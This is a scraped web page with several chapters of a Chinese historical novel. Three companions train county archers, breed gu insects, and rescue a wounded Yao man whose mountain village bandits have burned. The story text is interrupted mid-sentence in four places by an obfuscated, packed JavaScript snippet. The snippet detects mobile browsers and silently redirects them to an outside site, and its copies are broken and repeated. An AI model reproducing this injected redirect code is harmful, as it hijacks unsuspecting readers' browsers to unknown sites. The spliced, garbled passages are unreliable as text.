令狐朝翻了个白眼儿:“那还是算了,这和出去卖有什么区别。” “当然有区别了,从前在吟兰苑,你没看到来的那都是些什么歪瓜裂枣,就这你还得用好话哄着捧着,一不高兴了说不定还动手动脚的。跟了我哪里委屈你了,我怎么会舍得让你做你不愿意的事情。” “……”令狐朝沉默了,抿了抿嘴叹口气接着夹菜吃饭,也不再抬眼看他。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15737137|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他看着令狐朝的模样,眼里的光有些黯淡了下来,笑了笑说:“好了,我说着玩的,我知道你不愿意这样,我也不舍得违背你的意愿。” 宋准在一旁又扒了两碗饭,令狐朝今日做的鸭子和小菜都格外合他胃口,完全没关注到那两人之间的气氛怪怪的。 吃过饭收拾了碗筷,一向爱闹腾的柳晏却早早就说要回房去了,宋准觉得反常,便问令狐朝他怎么回事儿。 令狐朝说:“没事儿,闹小脾气了,不用管他,自己会好的。” 虽然这样说着,令狐朝心里总归有些放心不下,等宋准也要回去睡了,他便去了柳晏房里。 柳晏的房门没关,屋里安静,烛火摇曳,令狐朝迈进门,就看见他靠在床边,手里摸着那把玉箫在发愣,长发披散着,衣裳也解开了。 “在发什么愣呢?”令狐朝走到床边,拖过妆台前的凳子坐了在他面前。 他垂着眼,摸着那玉箫闷闷地说:“都是我不好,非要强求,得寸进尺。从前想,若是每日都能见面便好,如今每日都能见上,却又想再更进一步,不得解法。” 令狐朝轻声笑了,伸手揉了揉他的脑袋:“那你想要如何?” “不敢想如何,我只有你,你若不丢下我,我便能活下去。”说到这里,他伸出手覆上令狐朝的侧脸,“只是人难免贪心,我看着你,总想把你揉进我的骨血里,我总想……” 他收回了手,低头自嘲地笑笑:“罢了,若是几年前的我看着如今能与你日日见面的我,想必也会觉得心满意足,那我便也心满意足好了。” 令狐朝不知道如何回应他的话,便起身坐在了他身边,手搭在他肩上让他面对着自己:“阿奴,我觉得你可能想错了一些事情。” “阿奴”是从前在鬼樊时,唤小孩子的称呼,柳晏一听见令狐朝这样唤他,眼里立刻蓄满了泪。 “我知道你每日说的那些都是什么意思,我也愿意纵着你对我做一些无伤大雅的事情,但若要像你说的那样,我觉得……”他深吸了一口气,定定地看了他一眼,“我可能做不到。” 柳晏闻言破涕为笑,低头去拭泪:“没关系了,我就是突然觉得自己想要太多了,和你没关系的,现在这样也挺好的,我知足。” “唉,有时我真不知道该拿你怎么办才好,每次看你哭得那样可怜,梨花带雨的,总不忍心对你说重话,可你想要的那样的关系我也确实没有办法满足你。” 柳晏把手覆在了令狐朝的手上,轻轻将其拿下握紧,贴在了自己心口上:“我知道,你是心疼我,才会一直纵着我,我刚才自己也想明白了,现在这样也挺好的。” “嗯。”令狐朝只点点头,并没将手抽离,掌下柳晏的胸膛温热,心脏规律地跳动着,旁边一条旧伤凹凸不平,正在拇指下。 “晦言,你不知道,去年我初到临安时,曾远远地在街上见过你一次。你穿着一身素色的衫子,垂着头,背着药箱,一个人脚步匆匆地往前走,我怕是我认错了人,悄悄地在你后面跟了许久……” “我知道。” 柳晏脸上的笑意一僵:“什么?” “我说,我知道。那天,我知道是你在跟着我。” 61.“恶鬼”练兵 “你知道?你……你什么时候发现的?”柳晏的语气里充满了不可置信,松开了令狐朝的手,脸上染上了些红晕。 令狐朝微微一笑,揉了揉他的脸:“你看到我的时候,我也同样看见你了,你这样漂亮的一张脸,想不看见都难。你还跟着我一路到了运河边上,不是吗?” “是。”他抬眼瞧着他,面上委屈极了,“但我不敢去找你,我怕打扰到你当时的生活,我想着,等我一切都安顿好了,再去找你。再后来就是惟衡查案子查到吟兰苑,那案子太危险了,我很怕会对你们有不利,所以才……” “我都知道,你这点小心思我还会不明白吗?今后不会再因为什么事情长久见不到了,你想要的,我尽量满足你,好不好?别动不动就哭,看得人心疼。” 哄孩子一般的语气,柳晏格外吃这一套,唇角立刻就扬了起来,小心翼翼问:“那我今晚能和你一起睡吗?” 令狐朝无奈地低下头,叹口气:“哈,随了你吧。” 夜里又开始淅淅沥沥下雨了,柳晏把脑袋埋在令狐朝后肩,他身上的药草香气格外好闻,让人很是安心。 清晨天光刚亮时,雨也停了,宋准很早就起来,做了早饭后叫醒了令狐朝和柳晏才去衙门点卯,昨日已将匪首首级和匪徒口供一并呈报到州府,现下只需等着州府文书了。 走在路上,宋准在心里盘算着接下来都要干些什么。 端了凤凰山的山匪,最近那些匪徒应该会收敛一些,想必暂时不会出来兴风作浪;弓兵们近战有些弱,得找人教他们点东西;城外需得有传消息的线人,否则有敌情城中知道得太晚了,等他带人赶到了匪徒早都溜之大吉了。 点完卯,照常带人去市集巡逻,检查城防,确认一切都无误了,返回衙门时不过刚过巳时,宋准将弓兵们带到了演武场去,预备看看他们每个人近战的水平。 李二郎在一旁记录着,除了前几日受伤的,还有在市集监督互市的,共四十七人。 一番对战下来,大多数人都只能说是中规中矩,勉强及格,也是,近战水平不行的都在那日受了伤了,但也不全是他们武艺不精的结果,山匪们都是些莽道,出手没章法,平日按章训练的弓兵招架不住也是情有可原。 思索着该如何解决这个问题,宋准想到了柳晏。 当初和他在吟兰苑后院比试时,他用的不也都是刁钻的杀招?从前在鬼樊他肯定也带过后辈,若让他来教这些弓兵们近战,定是事半功倍。 想到这儿,宋准便直接往柳晏的茶馆去,闹市街口人声鼎沸,老远就看见白兔在门口接待宾客,见到宋准,他十分高兴地挥手喊:“宋县尉!来找老板吗?” “嗯!他在吗?” “在楼上听书呢,县尉上去揪他吧。” 宋准对他点点头,上了二楼,说书先生仿佛正在说什么朝堂密事,柳晏在窗边雅座上吃冰碗,听得津津有味,摇头晃脑的。 “稚言?”宋准叫他。 “怎么啦?”他把脑袋往宋准的方向伸了伸,但眼睛还盯着说书先生没动。 宋准在他身边坐下,道:“想请你帮忙,教教弓兵们近战。” “嗯?怎么想到让我教的?” “上回和你切磋时,见你一招一式都很有意思,我会的都是循规蹈矩的招式,和那些出手没章法的山匪不好打,怕教不了他们什么。” “噢,可以啊,但我带人下手很狠的,你确定他们受得住?”他终于转过眼神来看宋准,眼神里有些难以置信。 宋准有些疑惑:“怎么个狠?” “你要不去问问白兔?他们都说我带人的时候是恶鬼,但我觉得还行。” “呃……那要不你先去试试,我也跟着一起练,想必他们也不会有什么怨言。” “好啊,那你可得做好准备了,我下手真的,很狠的。”柳晏勾起唇角,有些幸灾乐祸似的望着他,一脸马上要使坏的样子。 宋准往后缩了缩:“你这是……什么表情啊?别想着使坏啊。” “嘿嘿,放心,不使坏,绝对不使坏。” 宋准等着柳晏回去换了身方便行动的衣裳,头上的钗环什么的都卸了下来,规规矩矩地束了发,一起去了演武场。 “都过来了!”宋准喊了一声,“给大家请了位师傅,练练近战。” 柳晏笑着上前一作揖:“在下柳晏,宋县尉请我来教些近战技巧。我丑话说在前面,我下手可能比较狠,受不了的话,提前说。 有些弓兵看见柳晏的模样,小声和旁边的人议论:“他这模样长得也不像是会武的啊,县尉别是请错人了。” “是啊,长得像个姑娘似的,能教什么啊。” 柳晏都将那些议论听得清清楚楚,他面不改色,依旧微笑着:“是有人不太服气吗?要不要上来切磋切磋?” “我来!”站在后面的一个十分壮硕的弓兵站了出来,方才也是他议论的声音最大。 那弓兵的体格快赶上两个柳晏了,站在他面前,柳晏就像是个孩子。 但柳晏只是笑笑,将一只手背到身后,说:“我让你一只手,来吧。劳烦宋县尉做裁判,三赢二,如何?” “柳师傅这是瞧不起我吗?”弓兵向前走了一步,低头看着柳晏,“还望师傅全力以赴。” “打你们十个都不需要我用全力的。来吧。” 宋准一声令下,那名弓手立刻就扑了上去,全力向柳晏胸膛攻去,手已经伸向他上腰,预备把他整个人提起来抱摔。 柳晏以极快的速度蹬地而起,在他即将要碰到自己的前一瞬间躲开了他的袭击,在他反应过来的时候,柳晏已经站在了他身后,一脚踹向他后背,力道极大,只一脚,他便踉跄几步趴在了地上。 “再来!”弓手依旧不服气,拍拍袖子站起身来,柳晏勾唇一笑,闪身上去主动出招,他仅用了一只手,弓手都完全招架不住,只能以双臂在身前格挡,不断后退,招式之快,宋准都看花了眼。 在弓手以为自己有反击机会的时候,刚制住柳晏手臂,他肩一转将肩膀关节卸下,转过身又是一脚将其踹倒。 在场众人都目瞪口呆,柳晏就在众人惊诧的眼神里将手臂接了回去,仰头沉了沉肩,对地上的弓手一拘礼道:“承让了。” 宋准笑着拍手叫好,和柳晏一起将那弓手扶起来,问:“这下可服气了?” “哎,柳师傅着实厉害,属下心服口服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742455|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !还请柳师傅尽力教导,不必多顾忌旁的。” “好,那么今日起,每日两个时辰,就在这演武场,让柳师傅带着你们,我也会和你们一起练,都不要有什么怨言,城外山匪水匪颇多,早些剿清匪徒,早日过安宁日子。” “明白!”众人应声洪亮,眼里都暗含期待。 接下来两个时辰,如柳晏所说,他果真像个恶鬼一般,让众人都难以招架,宋准幼时跟着武师傅练过许多年,都有些吃不消,更别说大多是半路出家的弓兵。 等时间到了,柳晏刚说:“今日就到这儿吧。”他话音一落,弓兵们纷纷瘫倒在地。 柳晏走到宋准身边蹲下,看他躺在地上蒙着眼气喘吁吁的样子,笑着说:“还行吗宋县尉?还能站起来吗?” “啊……不行,我感觉不到我的腿了。” “哈哈哈哈哈哈……这就不行啦?从前在鬼樊,我下手可比这要狠得多,看你们头一次,我想着收着点儿,没想到还是重了。” 宋准撑着坐起来,看着他问:“那你和令狐兄从前也都是这么练过来的?” “是啊,一天三四个时辰,其余的时间还要赶着学各种各样的东西,晚上回到帐里一沾枕头就能睡着,第二天再接着练。晦言从前身体很好,不像现在这么虚,怎么练他都受得住,哎,可惜啊。” “就是因为受那次重伤吗?他在临安的时候时常也不好好吃饭。不过最近倒好了许多,脸上也有肉了,身量看着也重了。” “我摸过他的脉,还是虚浮。可能就是之前那次伤太重了,他小时候还被喂过些莫名其妙的药,兴许也有那药的缘故,人身子一虚,什么隐疾都找上来了。” 柳晏说完站起身,对宋准伸出手:“起来,该放值了,回家吃饭。” “哪儿放值了?还有一个多时辰呢。”宋准说着,但还是抓住柳晏的手站起身来,拍了拍身上的土。 “今日累成这样,你还想办点什么公务啊?回家吧,让晦言给你扎两针,舒服点儿。” 宋准看看周围的弓兵,确实都累得不轻。平日里下午也没什么重要的事儿要办,近日城中也太平,没出什么案子,现在放值也不影响什么。 于是他拍了拍手喊道:“今日大家都辛苦了,这就放值吧,回去好好休息,明日继续。” “是。”众人的声音有气无力的,一个个挣扎着起来往演武场外走。 柳晏看着他们笑了:“噗嗤!蔫了吧唧跟茄子干儿似的,若是在当年的鬼樊里面,这么死气沉沉的早就被马拖着跑马场去了。” “被马拖着跑马场?”宋准十分惊讶,“这会死人的吧?” “不会,死不了。他们不会让你死得这么轻易,这只算略施小惩,严重的时候把人关地窖里,饿他个三天三夜,又是鞭笞又是泼冷水,往伤口上撒盐什么的,等出来了半条命都没了。哎呀不说这个了,快回家了。” 柳晏拽着宋准的袖子就往回走,演武场是在城外的,进北门后还要再走两刻钟才能到家里。一进了堂屋,宋准便瘫倒在了榻上,捶着自己两条腿。 令狐朝早回来了,在厨房里忙活,柳晏兴高采烈去打下手,等饭好了端上桌,宋准却已经睡过去了。 62.蛊虫 “惟衡,起来吃饭了。”柳晏唤他,他翻个身坐起来,答应了一声下榻来,刚站起身就腿一软摔倒在地,趴地上一动不动。 令狐朝吓了一跳,赶忙上前去把他搀扶起来:“哎?怎么了这是?是练得多狠啊?” 方才柳晏已经和他说过今日去练兵的事儿,柳晏说没怎么多练,和鬼樊练刺客的力道比起来差得远,他便以为这些人都受得住呢。 宋准迷迷糊糊起来,看着令狐朝:“啊,令狐兄,没事儿,只是腿软了,我能站起来。” 说着就扶着令狐朝努力往起站,起来坐在桌边椅子上,道:“先吃饭吧,我也饿了。” 令狐朝没忍住笑了,坐在他对面看着他说:“真有那么惨吗?从前在鬼樊的时候,那些前辈训我们下手可比这狠得多。” “哈,听说了,难怪你们一个个都那么强呢,还好我不是鬼樊的刺客,否则能不能活到现在都两说。”宋准一脸生无可恋的模样,十分木然地往嘴里夹菜扒饭。 柳晏在旁边笑得花枝乱颤,问:“那我明日要不收点手?万一把你们都练残了我岂不是罪过大了。” “不用,都是年轻人,有什么受不住的,多练几日就好了,要是因为学艺不精在战场上受了伤,那才是大罪过。” “那你这腿……”柳晏对他的腿努努嘴。 “不用管我,我能行,就是多年没练过身法武艺,身子怠懒了,练几日会好的。” 令狐朝闻言,眼中闪过一丝欣赏之色来:“诶,可以啊惟衡,有血性,能成大器。” “令狐兄莫取笑我了。” 接下来的一段日子,日日两个时辰练下来,县里的弓兵都能适应柳晏的要求了,武艺也都精湛了不少,近战赤手空拳也能和柳晏过两招。 宋准如今都能和柳晏打上四五个来回,也不需要他收着力,虽然最后还是会落败,但能接住的招式也越来越多了。 入了九月,天气渐渐凉了起来,宋准在城外巡逻时一直在留意着城外山匪的动静,又叫人将城中央的钟改造成九音钟,不同的钟声代表不同的敌情,这样一来,城中百姓也都能防患于未然。 柳晏摆在渡口的茶摊让青雀管着,也相当于是个情报据点,城中不少信鸽,一旦有什么匪情,消息很快就能到宋准手上。 令狐朝在医馆里研究药材,精进医术,近些日子他们医馆来了位苗疆的巫医,他正在那巫医跟前偷师学艺,仿佛真会给人下蛊了。 一日宋准傍晚放值回来时,他正和柳晏蹲在院子里研究一个坛子。 “你们在看什么呢?”宋准凑过去,十分好奇地看那坛子,平平无奇的一个陶土坛,里面好像有什么东西在蠕动着。 令狐朝没抬头,说:“养了些蛊虫,看看能不能成。” “什么玩意儿?蛊虫?”宋准很是惊讶,“令狐兄,你真的要学会下蛊了吗?” “嗯……也没全学会,听巫医讲了些皮毛,比较关键的东西他们不外传,非要我拜师才肯教,但我又不想拜什么师。” “为何不直接拜师呢?” “哎,你不知道,要是拜师,我就得跟他到苗寨里去住大半年,在什么山洞里面,‘潜心修炼,两耳不闻窗外事’,我没可没那个兴致。再说了,我八字专克师父,不信你问稚言。” 柳晏点点头:“虽然很难相信,但仿佛确实是这样的,从前鬼樊的两个顶尖高手,都是带过晦言之后就死了,还有教他仵作手艺的师父,不也是……” “哎,不管了,封坛子,让它们自相残杀吧。”令狐朝拿出个木盖子盖在坛子上,又用泥封住缝隙,把坛子放进一旁挖好的坑里埋起来,说是等一个月挖开看看。 “这真能成吗?要是虫子全死了呢?”宋准问。 “全死了那就……再养一坛,只有杀尽了对手的才能做蛊虫。要是养成了……虽然也不知道这蛊虫应该拿来干什么,但总觉得之后能用上。” 他把铲子靠到了墙边,拍拍手上的土,说:“好了,吃饭去。今日没买肉,凑合吃点草吧。”他说的草就是猪油炒的青菜,味道也很不错。 重阳那日衙门休沐,又是宋准生辰,柳晏提议去城外河滩上钓鱼,晚上再去城中酒楼里吃顿好的。 令狐朝鼓捣着他的那些药材,头也不抬就答应了,宋准原本不甚想去,听令狐朝说这个季节蟹子最肥,他便立刻应下了。 涞水十八道弯,河滩众多,岸边芦苇丛茂密,这个季节,芦苇青黄相接,风一吹连片荡漾,别有一番意趣。 柳晏带了玉萧来,天地渺茫之间,萧声格外悦耳。令狐朝一来就卷起长衫和裤腿下河去了,不一会儿就摸了几只螃蟹出来,扔到岸上宋准脚边。 “惟衡,生堆火给它烤了。”他喊道。 宋准答应着,他方才就在附近捡柴火,已经用石头搭起了个灶台,那几只螃蟹个个黄满膏肥,还是生的都能想象出熟了该有多香。 上回三人同去河边捞鱼的时候在芦苇丛里发现了小满的尸体,这回柳晏玩够了才想起来,立刻跑来跑去地将附近的芦苇丛都细细检查了一遍,确定没什么莫名其妙的东西,才放下心来,去给宋准打下手。 “惟衡,生辰快乐哦~”他说,“你这生辰日子真是好,重阳日,又是阳时生,阳气这样旺,什么鬼怪都不敢近你身。” “哈哈哈,你今日都念叨多少遍了,这样热情,等明年你生辰那日我也要从早念叨到晚。” “那敢情好,我就喜欢热闹,你念叨多少遍我都欢喜。”他咧开嘴笑着,露出一排洁白整齐的牙,两眼都眯了起来,宋准看着他笑,自己也忍不住笑了起来。 说笑着,令狐朝又从河里抓出一条鱼来:“稚言!接着,装鱼篓里带回去!” “好!” 令狐朝扔完鱼回头的一瞬间,似乎瞥见远处芦苇丛里有个黑影闪了一下,带起芦苇根一阵涟漪,他正要伸手挡住太阳仔细瞧,一个黑点在视线中清晰——是一发暗箭! “晦言!”柳晏大喊一声,顾不得什么就冲进河里要去拉他,但他反应也快,向侧边一闪身就躲开了那支箭,拉住了柳晏伸出的手,向岸上跑去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745446|170544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 三人都瞬间警惕了起来,柳晏眼中升腾出一股杀气,皱眉道:“狗东西,敢放暗器,柳爷爷我空手撕了他!” 说完他就要脱下碍事的大袖外衫下河去,却被令狐朝拉住了胳膊:“别急,先看看是怎么回事儿,若是水匪埋伏,不会只放一支箭的。” 说来也怪,那支箭射出后,确实也没再有什么动静,宋准躲在一丛芦苇后面仔细看着那个方向,说:“似乎就那一个人呢,要不要过去看看?” “万一你一去就被包围了怎么办?”柳晏问。 “那不是还有你吗,柳师傅,你替我兜着点儿,想来应该不会有什么意外。” 令狐朝说:“我也去,我前几天刚做出来个好东西,正愁没地方试,自己撞上来了我就不手下留情了。”说完他勾起唇角很邪恶地笑笑,那笑容宋准看着都觉得后背毛毛的。 三人一同顺着河岸向远处那片芦苇丛去,柳晏在袖中藏了几粒石子,当又一发暗箭被射出时,他极快地朝暗箭来的方向扔出一粒,旋即就有一男子的惨叫自芦苇中发出。 “什么人在那儿!出来!”宋准吼了一句,拨开芦苇就看到一个穿着瑶人衣裳的男子半倒在水里,他身下有血迹蔓延开来,脸上有些血污,唇色惨白。 柳晏走近了夺下他手上的弩,将他制住,问道:“你是什么人?水匪?还是山匪?” 那男子十分警惕,明明已经虚弱至极,却还努力瞪着眼看着他们几个,不发一语。 宋准走到他面前,拿下腰上的令牌,说:“我乃攸县县尉,不管你是什么人,再不表明身份,我只能把你押回县牢了。” “我……县尉,我是阿贵……” “阿贵?那日在市集买米的那个?” “是。”男子艰难伸手抹了把脸,血污被擦掉了些,宋准凑近了细看看,果真是那个叫阿贵的瑶人青年。 令狐朝见是熟人,有些遗憾地叹了口气,小声说了句:“还以为能试上我的毒了呢,唉。” “别试毒了令狐兄,看看他的伤吧。”宋准说。 令狐朝低头看了一眼,道:“先把他抬到岸上去,水泡着伤口都要溃烂了。” 等上了岸,才看清楚阿贵身上的伤,大腿处斜插着一支已经断掉的箭,身上还有多处刀伤,头上有被钝器击打过,好在血已经止住,都凝在了脸上。 令狐朝皱着眉,他今日出来玩儿,身上没带多少救急的药,翻遍了袖子和腰上的小包,也就找到一小瓶止血药粉和两粒救急丹来。 他叹了口气,说:“哎,凑合吧。你先把这个吃了,忍着点儿啊。” 救急丹给阿贵喂了下去,他腿上那支箭不能贸然拔下,否则很可能血流不止。令狐朝将止血药粉洒在伤口四周,血勉强止住了。 看他面色稍微好些了,宋准才问道:“你怎么回事儿?怎么会在这儿受了伤?方才又为何要对着我们放箭?” “我看着有人在往这边走,我以为……是来追杀我的。寨子……山匪劫了寨子,我跑出来,掉进水里,被水冲到这儿了。” 63.瑶寨 “什么?!”宋准大惊失色,声量都提高了不少,“山匪劫了你们寨子?还杀了人吗?” 阿贵点点头,从怀中掏出一卷什么东西来递给宋准,他接过来一看,是一张画着某处地形的羊皮地图。 “这画的是哪儿?” “寨子的位置。”他说,“寨中可能还有人!山匪一定还没走!咳……咳咳咳……” 他的情绪激动起来,不住地咳嗽,令狐朝按住他身上穴位说:“行了,少说几句话。稚言,惟衡,先跟我把他抬回医馆去,这箭伤不尽快处理他这条腿多半要废了。” “好,好。”二人答应着,将阿贵扶到宋准背上,赶忙回城去,好在医馆离城门口并不太远,一路也就走了不到三刻钟就到了。 宋准这也是头一回来令狐朝看诊的医馆,里面收拾得井井有条,有一个看着仙风道骨的长衫老人站在药柜前翻找着药材,听到令狐朝回来,亲切地唤他小朝。 令狐朝应了声,说道:“许大夫,这有个腿上中了箭的年轻人,我有些拿不太准,您来看看吧。” “中了箭?有多少时候了?血止住了吗?”许大夫从柜台后绕出来,快走几步到了他们身边,“把他放到诊榻上去,我瞧瞧。小朝啊,去把你配的那些止血药拿来。” “哎。”令狐朝答应着,便去柜台后面找东西去了,宋准把阿贵放在诊榻上,身上的动作扯动伤处,阿贵眉头紧蹙,额上渗出了细密的汗珠。 许大夫仔细查看了斜插在阿贵腿上的箭,受伤的腿看起来血行正常,是箭并没有刺入要害的表现。 “箭能拔出,但会很疼。”许大夫说,“小朝,你之前备的麻沸散,给他用上吧,取些酒来净手,这就取箭吧。” 听见能用麻沸散,阿贵面上的表情舒缓了许多,紧紧攥着宋准的袖子:“宋县尉,多谢你们救我,我今后一定,做牛做马报答!” 宋准拍了拍他的手背以作安抚:“无妨,任谁都不会见死不救的,安心养伤吧,令狐先生和许大夫的医术都是数一数二的,你不会有事儿。” 令狐朝已经熬上了麻沸散,许大夫在准备纱布一类包扎所用的器物,一切准备就绪,将麻沸散给阿贵喂了下去,待他昏睡,许大夫顺着箭刺入的方向将其拔出,腿上就现出来个血窟窿。 “小朝,将止血药粉给他撒上吧,身上的伤都包扎起来,这几日不要叫他随意走动,等他醒了再带他走。” “嗯,好,许大夫放心。” 宋准在一旁看着,令狐朝跟这许大夫说话时格外乖巧,全然不似平日里跟自己或是柳晏说话时的模样,他倒觉得挺有趣儿。 看见阿贵已经没什么大碍,宋准便离开医馆,带了几个弓兵按着阿贵给的羊皮舆图往山里的瑶寨去——阿贵说,寨中或许还有幸存的村民。 舆图上标出的瑶寨的位置极其偏僻,出城往西南,翻过三座山头,沿小路到第四座山的山坳里,有两条岔路,走左边那一条上山,才能到半山腰上的瑶寨。 一行人走了将近两个时辰,才看到了悬挂着兽骨的寨门,一股难闻的焦味扑面而来,门口有滴落的血迹,已经干涸在了土里。路边无比杂乱的脚印,散落的物品,确实是被山匪劫掠过的样子。 进了寨门,寨中更是一片狼藉,吊脚楼被焚烧了大半,冒着黑烟,有些还在燃烧着,发出“噼啪”的声音。 宋准伸手在鼻子前面扇了扇,潮湿的木头难焚烧,就算烧起来了也会像这样冒黑烟,呛鼻又难闻,他高声喊了几句,寨子里并没有任何人答应。 “去找找看还有没有活着的寨民!”宋准命令道,弓兵们领命向四周散开,各自去寨中搜寻,他则去寻找寨中长老的家。 一般来说,寨中长老的家会修建得更坚固,位置也是最安全的,或许会有寨民在山匪来劫掠时藏到长老的家里去。 结果一番搜寻下来,所有人都毫无所获,寨中的人、畜、粮食、值钱的物件,全都消失了,就连长老的家里都是空空如也。 “难道说寨子里的人都被山匪劫走了?山匪向来都是杀人越货,怎么会连人都劫走?”宋准心里疑问,皱着眉思索山匪的意图,他能想到的最合理的解释就是山匪要把这些人都劫去做山匪,壮大势力。 可是这寨中男女老少,也不是人人都能替山匪做事的吧?小的还可以养大,那老的呢? 揣着无数个疑问,他也只能先带弓兵循着门口山匪的足迹一路找下去,看能不能找到山匪的据点。 李二郎在前面带路,顺着足迹下了山,在山坳里七拐八拐,人迹消失在了一处水潭边。 “怎么回事儿?怎么到了这儿?”宋准问道。 李二郎挠挠头说:“这……我也不知道啊县尉,这痕迹确实是往这儿的,路上也再没什么岔路。可这也不应该啊……” 有一个弓兵在后面嘟囔:“他们总不能在水下吧?” 宋准观察着这水潭,幽深的碧色,看不到底,岸边浅处的石头倒是清晰可见,便知道这水干净透亮,定是活水。 两面都是山壁,有细流从山上下来汇入潭中,却不知这潭水会流向哪处。 “在上面看着,我下水去看看。”宋准说着,已经开始解身上的甲胄,却被李二郎拦了下来。 “县尉,不可。这天要黑了,水下本就看不清,若有暗流您便是有去无回啊!咱们出来也没带绳索,若真有意外,我等罪过可就大了。” 其他弓兵也附和道:“是啊县尉,不如明日带了绳索再来吧,若要下水也该是我们下,哪有让您亲自下去的道理。” 宋准停下动作思索片刻,觉得他们说得有理,便又将甲胄穿回,说:“也行,安全起见,今日先回去,明日一早再来。二郎去前面带路吧,把路线记着。” “是。” 一行人又在山中穿行许久,终于回到瑶寨的山脚下,还能闻到那股刺鼻的焦味,宋准拿出舆图,按原路翻山返回城中。 等到了城门口,天都已经黑透了,宋准让众人解散放值,自己准备先去医馆查看阿贵的情况,走到半路想起来身上还穿着甲胄,又返回衙门换回了便装。 医馆里只有令狐朝在,见宋准回来,他十分欣喜地上前问道:“如何?” 宋准摇摇头:“一个人也没有,寨子里也被烧光了,人畜都没了。我们顺着山匪的足迹往下找,就找到一个很深水潭,脚印在水潭边就没了。” “那水潭可下去查看过吗?” “没。原本想下去一探究竟,怕水底有暗流,去的时候也没带绳索。” “嗯……也好,万一出事儿了得不偿失,明日再去吧。阿贵还没转醒,方才我给他喂了些药,等他醒了我们就可以回去了。奔波大半日,饿了吧?” 宋准的肚子适时“咕咕咕”响起来,他伸手揉揉,点了点头。 令狐朝对他笑笑,去柜台后面拿出来一小包什么东西,说:“先吃点儿这个垫垫吧,回家我再做饭。” “嗯,多谢令狐兄。”宋准走过去打开那个纸包,里面是些点心,闻着倒挺香。 令狐朝也拿起一块吃着,说:“这是许大夫买的,他爱吃这些,所以柜台里日日都存着,今日吃了他的,明日再买些给他补上就是,他不会生气。” “今日我瞧着令狐兄在许大夫面前格外乖巧,还以为他是个凶悍的呢。”宋准道。 “哪里格外乖巧?这叫尊师重道。”令狐朝翻个白眼儿,吃完手上的点心,舔了舔手指上的残渣,“这几日把阿贵先安置在我房里吧,我去和稚言睡。” “哎?你们不是日日都一起睡的吗?” “什么?”令狐朝听了宋准的话十分震惊,眼睛都瞪大了,“什么时候日日一起睡了?” “我每天早上去点卯的时候,都见他从你房里出来啊。” 令狐朝闻言眯起了眼睛,两只手攥成了拳头,牙缝里挤出来一句:“柳晏你个狗东西,我要让你好看!” 晚上带着醒来的阿贵回了家,把他安置在了自己房里,令狐朝就在院中大喊柳晏的名字,柳晏从后院急匆匆跑来,停在离令狐朝几步远的位置,战战兢兢地问:“怎么了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那我说了,你会愿意让我之后都和你一起睡吗?” “这几日可以,那个阿贵先安置在我房里,我睡你这儿。” “家里还有空房的呀……”说到这里,柳晏才瞬间明白了什么,眼里瞬间有了光彩,扑上去抱住了他,“晦言!你可真是!” “好了好了,松手了。”令狐朝伸手推着他的腰,把他推开了,“吃饭了吗,饿不饿?” “没。但我下午在酒楼叫了索唤,应该就要送到了吧,知道你们肯定会回来很晚,要是再自己做饭,累都累死了。” “看不出你还挺通人性的,走吧,去堂屋里等着。” 柳晏一歪头,皱眉道:“什么叫通人性?我不是人吗?” “勉强算是吧。你比较像一种小动物,就是那种能吃能睡长得又可爱的,是叫什么来着?”说到这儿,他故意拉长了音调停顿了一下,“小猪。” “过分啊晦言!你怎么能这么说我?”柳晏往令狐朝后背上捶了一拳,“我是猪,那你就是鸟。喜欢站在猪背上的鸟,是猪的友人。” “哈哈哈哈哈哈……好了,不逗你了,快去门口等着你的索唤去,到了就拿进来,快去。” “哦。”柳晏答应着,自己去门口了。令狐朝回房里又看了看阿贵的伤,对他说:“你身上伤重,要忌口,一会儿给你熬些粥,你吃了早些休息,莫要多思多虑,伤才好得快些。” 阿贵点点头,眼含热泪:“多谢令狐先生,这样麻烦您,我怎么好意思……” “无妨,不会麻烦,你安心养伤,等伤好了,宋县尉可能还需要你帮忙带路进山剿匪呢,是我们需要你帮忙。” 令狐朝在他手上拍了拍,起身离开,去厨房淘米煮粥,柳晏拎着食盒回来,在院里唤他吃饭,他盖好了瓦罐盖子,应了声出门。 宋准原本在饭桌上摊开那张地形图在看,听见柳晏在喊吃饭,才将图纸卷一卷收起来。 “诶,惟衡,在看什么呢?” 